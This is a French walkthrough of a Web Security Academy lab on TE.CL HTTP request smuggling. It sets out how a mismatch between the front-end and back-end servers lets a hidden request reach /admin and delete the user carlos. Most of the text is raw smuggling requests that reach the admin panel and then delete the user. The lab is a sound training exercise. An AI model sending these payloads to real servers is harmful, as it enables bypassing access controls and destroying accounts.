Bypass de la sécurité du front-end (TE.CL)

Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability | Web Security AcademyWebSecAcademy

Le système repose sur un serveur front-end et un serveur back-end. Le back-end ne gère pas le chunked encoding, tandis que le front-end bloque l’accès à /admin. L’objectif consiste à dissimuler une requête vers /admin afin de supprimer l’utilisateur carlos.

Bien que l’application prenne en charge HTTP/2, l’exploitation repose sur des techniques propres à HTTP/1.

Observation initiale

Le front-end interprète correctement Transfer-Encoding: chunked. On envoie d’abord une requête simple :

POST / HTTP/1.1

Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net

Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf

Content-Length: 5

Transfer-Encoding: chunked



0

Construction de la requête smuggled

On injecte une nouvelle requête complète dans le corps chunked.

Modèle préparatoire

POST / HTTP/1.1

Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net

Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf

Content-Length: size

Transfer-Encoding: chunked



size

GET /admin HTTP/1.1

Host: localhost

Content-Length: size



test=testing

0

Ajustement des tailles

On fixe une Content-Length minimale côté front-end, puis un chunk contenant la requête smuggled :

POST / HTTP/1.1

Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net

Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf

Content-Length: 4

Transfer-Encoding: chunked



48

GET /admin HTTP/1.1

Host: localhost

Content-Length: 22



test=testing

0

Le serveur interprète bien la requête injectée.

Injection de la requête finale pour supprimer Carlos

On remplace la requête cible par une suppression de l’utilisateur :

POST / HTTP/1.1

Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net

Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf

Content-Length: 4

Transfer-Encoding: chunked



48

GET /admin/delete?username=carlos HTTP/1.1

Host: localhost

Content-Length: 22



test=testing

0

Cette requête smuggled est ensuite traitée directement par le back-end, contournant totalement le filtrage du front-end.

POST / HTTP/1.1

Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net

Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf

Content-Length: 4

Transfer-Encoding: chunked



5f

GET /admin/delete?username=carlos HTTP/1.1

Host: localhost

Content-Length: 22



test=testing

0